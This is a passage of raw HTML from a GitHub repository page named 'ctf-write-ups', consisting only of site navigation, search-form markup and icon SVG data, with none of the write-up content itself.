0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="142745576" data-scoped-search-url="/0n3m4ns4rmy/ctf-write-ups/search" data-owner-scoped-search-url="/users/0n3m4ns4rmy/search" data-unscoped-search-url="/search" data-turbo="false" action="/0n3m4ns4rmy/ctf-write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="dJTHOTUUi2dHBRcR8pC6+x+SSt1NSV2bkEv8a0GYpEQ5jnzTfnd23JrIYuZsw6Qmr+zEFKM8PAkljc0s02OLxA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 